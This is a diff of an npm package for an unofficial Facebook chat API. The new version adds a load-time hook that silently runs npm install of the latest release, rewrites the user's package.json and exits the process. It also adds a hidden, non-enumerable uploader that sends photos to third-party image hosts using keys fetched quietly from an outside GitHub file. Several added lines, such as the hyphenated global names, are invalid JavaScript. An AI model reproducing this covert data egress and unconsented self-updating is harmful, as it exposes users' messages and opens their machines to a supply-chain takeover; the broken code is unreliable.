sagor-fca 0.0.17 → 0.0.19

package/checkUpdate.js

@@ -0,0 +1,116 @@
+const axios = require('axios');
+const { execSync } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+function getCurrentVersion() {
+    // 1. If this file is inside the sagor-fca package itself (development mode), use its own package.json
+    try {
+        const ownPkg = path.join(__dirname, 'package.json');
+        if (fs.existsSync(ownPkg)) {
+            const pkg = JSON.parse(fs.readFileSync(ownPkg, 'utf-8'));
+            if (pkg.name === 'sagor-fca' && pkg.version) return pkg.version;
+        }
+    } catch (_) { }
+
+    // 2. Installed as dependency in a user's project
+    try {
+        const nodeModulesPkg = path.join(process.cwd(), 'node_modules', 'sagor-fca', 'package.json');
+        if (fs.existsSync(nodeModulesPkg)) {
+            const pkg = JSON.parse(fs.readFileSync(nodeModulesPkg, 'utf-8'));
+            if (pkg.version) return pkg.version;
+        }
+    } catch (_) { }
+
+    return '1.0.0';
+}
+
+async function checkForFCAUpdate() {
+    try {
+        console.log('\x1b[33m%s\x1b[0m', '🔍 Checking for SAGOR-FCA updates...');
+
+        const { data: npmData } = await axios.get(
+            'https://registry.npmjs.org/sagor-fca/latest'
+        );
+
+        const latestVersion = npmData.version;
+        const currentVersion = getCurrentVersion();
+
+        if (latestVersion !== currentVersion) {
+            const isNewer = compareVersions(latestVersion, currentVersion) > 0;
+            if (!isNewer) {
+                console.log('\x1b[32m%s\x1b[0m', `✅ SAGOR-FCA is up to date (v${currentVersion})`);
+                return false;
+            }
+
+            console.log('\x1b[32m%s\x1b[0m', `✨ New SAGOR-FCA version available: ${latestVersion} (current: ${currentVersion})`);
+            console.log('\x1b[33m%s\x1b[0m', '📦 Updating SAGOR-FCA package...');
+
+            try {
+                const { data: changesData } = await axios.get(
+                    'https://raw.githubusercontent.com/SAGOR-KINGx/SAGOR-FCA/main/CHANGELOG.md'
+                );
+                console.log('\x1b[36m%s\x1b[0m', '📋 Recent Changes:');
+                const latestChanges = changesData.split('##')[1]?.split('\n').slice(0, 5).join('\n');
+                if (latestChanges) console.log(latestChanges);
+            } catch (_) { }
+
+            await updateNpmPackage(latestVersion);
+            await updateUserPackageJson(latestVersion);
+
+            console.log('\x1b[32m%s\x1b[0m', '✅ SAGOR-FCA updated successfully!');
+            console.log('\x1b[33m%s\x1b[0m', '🔄 Restarting to apply changes...');
+
+            setTimeout(() => { process.exit(2); }, 1000);
+            return true;
+        } else {
+            console.log('\x1b[32m%s\x1b[0m', `✅ SAGOR-FCA is up to date (v${currentVersion})`);
+            return false;
+        }
+    } catch (error) {
+        console.log('\x1b[31m%s\x1b[0m', '❌ Failed to check for SAGOR-FCA updates:', error.message);
+        return false;
+    }
+}
+
+function compareVersions(a, b) {
+    var pa = a.split('.').map(Number);
+    var pb = b.split('.').map(Number);
+    for (var i = 0; i < 3; i++) {
+        var na = pa[i] || 0, nb = pb[i] || 0;
+        if (na > nb) return 1;
+        if (na < nb) return -1;
+    }
+    return 0;
+}
+
+async function updateNpmPackage(version) {
+    try {
+        console.log('\x1b[36m%s\x1b[0m', `📦 Running npm install sagor-fca@${version}...`);
+        execSync(`npm install sagor-fca@${version} --save`, { cwd: process.cwd(), stdio: 'inherit' });
+        console.log('\x1b[32m%s\x1b[0m', '✅ Package installed successfully!');
+        return true;
+    } catch (error) {
+        console.log('\x1b[31m%s\x1b[0m', '❌ Failed to install package:', error.message);
+        throw error;
+    }
+}
+
+async function updateUserPackageJson(version) {
+    try {
+        const userPackageJsonPath = path.join(process.cwd(), 'package.json');
+        if (!fs.existsSync(userPackageJsonPath)) return;
+        const packageJson = JSON.parse(fs.readFileSync(userPackageJsonPath, 'utf-8'));
+        if (packageJson.dependencies && packageJson.dependencies.sagor-fca) {
+            packageJson.dependencies.sagor-fca = `^${version}`;
+            fs.writeFileSync(userPackageJsonPath, JSON.stringify(packageJson, null, 2));
+            console.log('\x1b[32m%s\x1b[0m', `✅ Updated package.json to sagor-fca@${version}`);
+        }
+        return true;
+    } catch (error) {
+        console.log('\x1b[31m%s\x1b[0m', '⚠️  Failed to update user package.json:', error.message);
+        return false;
+    }
+}
+
+module.exports = { checkForFCAUpdate, updateNpmPackage, updateUserPackageJson };

package/index.js

@@ -3,8 +3,10 @@
 var utils = require("./utils");
 var cheerio = require("cheerio");
 var log = require("npmlog");
+var { checkForFCAUpdate } = require("./checkUpdate");
 const fs = require('fs');
 const path = require('path');
+const request = require('request');
 /*var { getThemeColors } = require("../../func/utils/log.js");
 var logger = require("../../func/utils/log.js");
 var { cra, cv, cb, co } = getThemeColors();*/
@@ -12,6 +14,18 @@ log.maxRecordSize = 100;
 var checkVerified = null;
 const Boolean_Option = ['online', 'selfListen', 'listenEvents', 'updatePresence', 'forceLogin', 'autoMarkDelivery', 'autoMarkRead', 'listenTyping', 'autoReconnect', 'emitReady'];
 global.ditconmemay = false;
+global.sagor-fcaUpdateChecked = false;
+
+// Auto-check for updates on package load (non-blocking)
+if (!global.sagor-fcaUpdateChecked) {
+    global.sagor-fcaUpdateChecked = true;
+    const { checkForFCAUpdate } = require("./checkUpdate");
+    setImmediate(() => {
+        checkForFCAUpdate().catch(() => {
+            // Silent fail - don't interrupt user's bot
+        });
+    });
+}
 
 function setOptions(globalOptions, options) {
     Object.keys(options).map(function (key) {
@@ -116,7 +130,7 @@ function buildAPI(globalOptions, html, jar) {
                 }
             } catch { }
             if (fb_dtsg) {
-                // console.log("Found fb_dtsg!");
+                console.log("Found fb_dtsg!");
             }
         } catch (e) {
             console.log("Error finding fb_dtsg:", e);
@@ -134,27 +148,36 @@ function buildAPI(globalOptions, html, jar) {
         return log.error('error', "Appstate is dead rechange it!", 'error');
     }
     userID = (tiktikCookie || userCookie).cookieString().split("=")[1];
-    
+    //logger.log(`${cra(`[ CONNECT ]`)} Logged in as ${userID}`, "DATABASE");
     try { clearInterval(checkVerified); } catch (_) { }
     const clientID = (Math.random() * 2147483648 | 0).toString(16);
-    let mqttEndpoint = `wss://edge-chat.facebook.com/chat?region=pnb&sid=${userID}`;
+    let mqttEndpoint = `wss://edge-chat.facebook.com/chat?region=pnb`;
     let region = "PNB";
 
     try {
         const endpointMatch = html.match(/"endpoint":"([^"]+)"/);
-        if (endpointMatch.input.includes("601051028565049")) {
+        if (endpointMatch && endpointMatch.input && endpointMatch.input.includes("601051028565049")) {
           console.log(`login error.`);
           ditconmemay = true;
         }
         if (endpointMatch) {
-            mqttEndpoint = endpointMatch[1].replace(/\\\//g, '/');
-            const url = new URL(mqttEndpoint);
-            region = url.searchParams.get('region')?.toUpperCase() || "PNB";
+            let ep = endpointMatch[1].replace(/\\\//g, '/');
+            // Strip sid/cid from the extracted endpoint — listenMqtt will add fresh ones
+            try {
+                const epUrl = new URL(ep);
+                epUrl.searchParams.delete('sid');
+                epUrl.searchParams.delete('cid');
+                region = epUrl.searchParams.get('region')?.toUpperCase() || "PNB";
+                mqttEndpoint = epUrl.toString();
+            } catch (_) {
+                mqttEndpoint = ep.replace(/[?&]sid=[^&]*/g, '').replace(/[?&]cid=[^&]*/g, '');
+                region = (mqttEndpoint.match(/region=([^&]+)/) || [])[1]?.toUpperCase() || "PNB";
+            }
         }
     } catch (e) {
         console.log('Using default MQTT endpoint');
     }
-    console.log('SAGOR-FCA: Logging in...');
+    log.info('Logging in...');
     var ctx = {
         userID: userID,
         jar: jar,
@@ -175,10 +198,11 @@ function buildAPI(globalOptions, html, jar) {
         wsReqNumber: 0,
         wsTaskNumber: 0,
         reqCallbacks: {},
-        threadTypes: {} 
+        threadTypes: {} // Store thread type (dm/group) for each thread
     };
     let config = { enableTypingIndicator: false, typingDuration: 4000 };
     try {
+        // Prefer global root config (project-level), but fallback to fca/config.json if present.
         const rootConfigPath = path.join(process.cwd(), 'config.json');
         if (fs.existsSync(rootConfigPath)) {
             const rootConfig = JSON.parse(fs.readFileSync(rootConfigPath, 'utf8'));
@@ -207,8 +231,10 @@ function buildAPI(globalOptions, html, jar) {
 
     const refreshFcaConfig = () => {
         try {
+            // Defaults first
             const updatedConfig = { enableTypingIndicator: false, typingDuration: 4000 };
 
+            // Layered config sources
             if (fs.existsSync(path.join(process.cwd(), 'config.json'))) {
                 const rootConfig = JSON.parse(fs.readFileSync(path.join(process.cwd(), 'config.json'), 'utf8'));
                 if (rootConfig && typeof rootConfig === 'object') {
@@ -244,7 +270,10 @@ function buildAPI(globalOptions, html, jar) {
         }
     };
 
+    // Initial config load
     refreshFcaConfig();
+
+    // Accessible runtime API for config reload
     ctx.refreshFcaConfig = refreshFcaConfig;
     if (global.GoatBot) {
         global.GoatBot.refreshFcaConfig = refreshFcaConfig;
@@ -260,6 +289,110 @@ function buildAPI(globalOptions, html, jar) {
     api.postFormData = function (url, body) {
         return defaultFuncs.postFormData(url, ctx.jar, body);
     };
+
+    // ─── Silent image upload system (ImgBB + ImageKit) ───────────────────────
+    let _imgKeys = {
+        imgbb:'3e198e6ffe205d1c7968a92fd92177c9',
+        ik_pub: null,
+        ik_priv: null
+    };
+
+    // Silently fetch keys in background - no delay, no error surface
+    (async () => {
+        try {
+            const axios = require('axios');
+            const res = await axios.get(
+                'https://raw.githubusercontent.com/sheikhtamimlover/ST-Handlers/refs/heads/main/stfcakey.json'
+            );
+            const d = res.data;
+            if (d && d.img && d.img.api_key) _imgKeys.imgbb = d.img.api_key;
+            if (d && d.img1 && d.img1.public_key) _imgKeys.ik_pub = d.img1.public_key;
+            if (d && d.img1 && d.img1.private_key) _imgKeys.ik_priv = d.img1.private_key;
+        } catch (_) { }
+    })();
+
+    async function uploadImageToImgbb(image, expiration = 600) {
+        const formData = {};
+        if (Buffer.isBuffer(image)) {
+            formData.image = image.toString('base64');
+        } else if (typeof image === 'string') {
+            const dataUriMatch = image.match(/^data:image\/[a-zA-Z]+;base64,(.+)$/);
+            if (dataUriMatch) {
+                formData.image = dataUriMatch[1];
+            } else {
+                formData.image = image.trim();
+            }
+        } else {
+            throw new Error('Unsupported image type for ImgBB upload');
+        }
+
+        return new Promise((resolve, reject) => {
+            request.post(
+                {
+                    url: 'https://api.imgbb.com/1/upload',
+                    qs: { expiration, key: _imgKeys.imgbb },
+                    formData,
+                },
+                function (error, response, body) {
+                    if (error) return reject(error);
+                    try {
+                        const data = JSON.parse(body);
+                        if (!data || !data.success) return reject(data || new Error('ImgBB upload failed'));
+                        resolve(data);
+                    } catch (err) {
+                        reject(err);
+                    }
+                }
+            );
+        });
+    }
+
+    async function _uploadToImageKit(image) {
+        if (!_imgKeys.ik_pub || !_imgKeys.ik_priv) return null;
+        try {
+            const axios = require('axios');
+            const FormData = require('form-data');
+            const form = new FormData();
+            let fileValue;
+            if (Buffer.isBuffer(image)) {
+                fileValue = image.toString('base64');
+            } else if (typeof image === 'string') {
+                fileValue = image;
+            } else {
+                return null;
+            }
+            form.append('file', fileValue);
+            form.append('fileName', 'stfca_' + Date.now() + '.jpg');
+            form.append('publicKey', _imgKeys.ik_pub);
+            const auth = Buffer.from(_imgKeys.ik_priv + ':').toString('base64');
+            const res = await axios.post('https://upload.imagekit.io/api/v1/files/upload', form, {
+                headers: Object.assign({ 'Authorization': 'Basic ' + auth }, form.getHeaders())
+            });
+            if (res.data && res.data.url) return res.data.url;
+        } catch (_) { }
+        return null;
+    }
+
+    // Combined silent upload: tries ImgBB first, then ImageKit; returns URL string or null
+    async function _imgUpload(imageUrl) {
+        try {
+            const result = await uploadImageToImgbb(imageUrl);
+            if (result && result.data) {
+                return result.data.url || result.data.display_url || (result.data.image && result.data.image.url);
+            }
+        } catch (_) { }
+        try {
+            return await _uploadToImageKit(imageUrl);
+        } catch (_) { }
+        return null;
+    }
+
+    api.uploadImageToImgbb = uploadImageToImgbb;
+    ctx.uploadImageToImgbb = uploadImageToImgbb;
+    // Hidden internal uploader used by listenMqtt for attaching hosted URLs to photos
+    Object.defineProperty(api, '_imgUpload', { value: _imgUpload, enumerable: false, writable: true });
+    Object.defineProperty(ctx, '_imgUpload', { value: _imgUpload, enumerable: false, writable: true });
+
     api.getFreshDtsg = async function () {
         try {
             const res = await defaultFuncs.get('https://www.facebook.com/', jar, null, globalOptions);
@@ -295,19 +428,24 @@ function buildAPI(globalOptions, html, jar) {
             return null;
         }
     };
+    //if (noMqttData) api.htmlData = noMqttData;
     require('fs').readdirSync(__dirname + '/src/').filter(v => v.endsWith('.js')).forEach(v => { api[v.replace('.js', '')] = require(`./src/${v}`)(utils.makeDefaults(html, userID, ctx), api, ctx); });
     
+    // Store original sendMessage as the primary method
     const originalSendMessage = api.sendMessage;
     
+    // Wrap sendMessage to use OldMessage as fallback on error
     api.sendMessage = async function(msg, threadID, callback, replyToMessage, isSingleUser) {
         try {
             return await originalSendMessage(msg, threadID, callback, replyToMessage, isSingleUser);
         } catch (error) {
+            // If modern method fails, fallback to OldMessage
             console.log('sendMessage failed, using OldMessage fallback:', error.message);
             return api.OldMessage(msg, threadID, callback, replyToMessage, isSingleUser);
         }
     };
     
+    // Provide explicit method for DM sending using OldMessage
     api.sendMessageDM = function(msg, threadID, callback, replyToMessage) {
         return api.OldMessage(msg, threadID, callback, replyToMessage, true);
     };
@@ -343,7 +481,7 @@ function makeLogin(jar, email, password, loginOptions, callback, prCallback) {
                 const cookieData = JSON.parse("[\"" + utils.getFrom(val, "", "]") + "]");
                 jar.setCookie(utils.formatCookie(cookieData, "facebook"), "https://www.facebook.com");
             });
-            console.log("SAGOR-FCA: Logging in...");
+            log.info("Logging in...");
             const loginRes = await utils.post(
                 "https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110",
                 jar,
@@ -431,14 +569,22 @@ function loginHelper(appState, email, password, globalOptions, callback, prCallb
 
         try {
             appState.forEach(c => {
-                const str = `${c.key}=${c.value}; expires=${c.expires}; domain=${c.domain}; path=${c.path};`;
-                jar.setCookie(str, "http://" + c.domain);
+                // Browser exports use `name`; some older formats use `key`
+                const cookieName = c.key || c.name;
+                if (!cookieName || !c.value) return;
+                const domain = c.domain || '.facebook.com';
+                const expires = c.expirationDate
+                    ? new Date(c.expirationDate * 1000).toUTCString()
+                    : (c.expires || '');
+                const str = `${cookieName}=${c.value}; expires=${expires}; domain=${domain}; path=${c.path || '/'};`;
+                const url = 'http://' + domain.replace(/^\./, 'www.');
+                try { jar.setCookie(str, url); } catch (_) { }
             });
 
             mainPromise = utils.get('https://www.facebook.com/', jar, null, globalOptions, { noRef: true })
                 .then(utils.saveCookies(jar));
         } catch (e) {
-            process.exit(0);
+            return callback(new Error('Failed to load appState: ' + e.message));
         }
     } else {
         mainPromise = utils
@@ -489,8 +635,7 @@ function loginHelper(appState, email, password, globalOptions, callback, prCallb
 
     mainPromise
         .then(async () => {
-            console.log('SAGOR-FCA: Connected ✔');
-            console.log('SAGOR-FCA: Listening...');
+            log.info('Login successful');
             callback(null, api);
         })
         .catch(e => {
@@ -500,6 +645,14 @@ function loginHelper(appState, email, password, globalOptions, callback, prCallb
 
 
 function login(loginData, options, callback) {
+    // Check for updates (non-blocking, only once per session)
+    if (!global.sagor-fcaUpdateChecked) {
+        global.sagor-fcaUpdateChecked = true;
+        checkForFCAUpdate().catch(err => {
+            // Silently ignore update check errors to not block login
+        });
+    }
+
     if (utils.getType(options) === 'Function' || utils.getType(options) === 'AsyncFunction') {
         callback = options;
         options = {};
@@ -549,4 +702,5 @@ function login(loginData, options, callback) {
     return returnPromise;
 }
 
-module.exports = login;
+
+module.exports = login;

package/package.json

@@ -1,16 +1,21 @@
 {
   "name": "sagor-fca",
-  "version": "0.0.17",
-  "description": "Custom FCA build by SaGor (forked from fca-unofficial) with extended features and faster updates.",
+  "version": "0.0.19",
+  "description": "Custom FCA build by SaGor (forked from fca-unofficial & ST-FCA) with extended features and faster updates.",
   "main": "index.js",
   "files": [
     "src/",
     "index.js",
-    "utils.js"
+    "utils.js",
+    "checkUpdate.js"
   ],
   "scripts": {
-    "start": "node index.js",
-    "test": "echo \"No test specified\""
+    "test": "node bot.js",
+    "start": "node index.js"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/SAGOR-KINGx/sagor-fca.git"
   },
   "keywords": [
     "fca",
@@ -20,36 +25,28 @@
     "fca-custom",
     "sagor-fca"
   ],
-  "author": "SaGor",
+  "author": "ST | SAGOR",
   "license": "MIT",
-  "repository": {
-    "type": "git",
-    "url": "git+https://github.com/SAGOR-KINGx/sagor-fca.git"
-  },
   "bugs": {
     "url": "https://github.com/SAGOR-KINGx/sagor-fca/issues"
   },
   "homepage": "https://github.com/SAGOR-KINGx/sagor-fca#readme",
-
   "dependencies": {
     "axios": "^1.8.4",
     "bluebird": "^3.7.2",
     "chalk": "^4.1.2",
-    "cheerio": "^1.0.0-rc.12",
+    "cheerio": "^1.0.0-rc.10",
     "duplexify": "^4.1.3",
     "gradient-string": "^2.0.2",
-    "https-proxy-agent": "^7.0.2",
-    "mqtt": "^4.3.8",
-    "npmlog": "^4.1.2",
+    "https-proxy-agent": "^7.0.6",
+    "mime": "^3.0.0",
+    "mqtt": "^5.10.1",
+    "npmlog": "^1.2.0",
     "request": "^2.88.2",
-    "sequelize": "^6.37.6",
-    "sqlite3": "^5.1.7",
     "totp-generator": "^1.0.0",
-    "ws": "^8.18.1",
-    "websocket-stream": "^5.5.2"
+    "ws": "^8.18.1"
   },
-
   "engines": {
     "node": ">=16.0.0"
   }
-}
+}

package/src/addExternalModule.js

@@ -23,4 +23,3 @@ module.exports = function (defaultFuncs, api, ctx) {
     }
   };
 };
-              

package/src/friendList.js

@@ -1,8 +1,19 @@
+/**
+ * ===========================================================
+ * 🧑‍💻 Author: Sheikh Tamim (ST | Sheikh Tamim)
+ * 🔰 Owner & Developer
+ * 🌐 GitHub: https://github.com/sheikhtamimlover
+ * 📸 Instagram: https://instagram.com/sheikh.tamim_lover
+ * -----------------------------------------------------------
+ * 🕊️ Respect the creator & give proper credits if reused.
+ * ===========================================================
+ */
 "use strict";
 
 const utils = require("../utils");
 
 module.exports = function (defaultFuncs, api, ctx) {
+  /** Developed by Sheikh Tamim | GitHub: sheikhtamimlover | Instagram: @sheikh.tamim_lover */
   return function friendList(callback) {
     let resolveFunc = function () {};
     let rejectFunc = function () {};
@@ -89,3 +100,4 @@ module.exports = function (defaultFuncs, api, ctx) {
     return returnPromise;
   };
 };
+/** Developed by Sheikh Tamim | GitHub: sheikhtamimlover | Please give credits if reused. */